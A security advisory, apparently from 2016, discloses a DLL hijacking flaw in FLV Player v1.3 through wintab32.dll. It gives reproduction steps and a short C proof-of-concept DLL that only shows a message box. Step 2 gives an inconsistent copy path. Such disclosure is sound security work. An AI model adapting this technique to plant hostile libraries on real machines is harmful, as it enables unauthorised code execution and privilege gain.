Document Title:
===============
Flv Player 2011 v1.3 - DLL Hijacking Vulnerability


Release Date:
=============
2016-09-23


Vulnerability Disclosure Timeline:
==================================
2016-09-30 : Public Disclosure


Product & Service Introduction:
===============================
FLV Player is a utility that you can use to play files in FLV format, a format often 
used for videos that are delivered over the Internet. Aside from FLV files, MPEG, MOV, MP4, AVI, SWF, 3GPP and 3GPP2, WMV or RM files can also be played by the utility. 
 
(Copy of the Vendor Homepage: https://www.reganam.com/ )


Affected Product(s):
====================
Reganam Interactive
Product: FLV Player - Software


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official FLV Player software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.


Vulnerable Software:
           [+] FLV Player

Version Software:
           [+] v1.3


Vulnerable Libraries:
           [+] wintab32.dll



Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to wintab32.dll 
2. Copy wintab32.dll to C:\Program Files\Flvplayer2013\Flv-Player.exe
3. Launch Flv-Player.exe
4. MessageBox Executed

-- PoC Exploit --

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}


[+] Disclaimer [+]
===================
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain:     www.zwx.fr
Contact:    msk4@live.fr  
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Advisory:   www.vulnerability-lab.com/show.php?user=ZwX
            packetstormsecurity.com/files/author/12026/
            cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
            0day.today/author/27461


                             Copyright A(c) 2016 | ZwX - Security Researcher (Software & web application)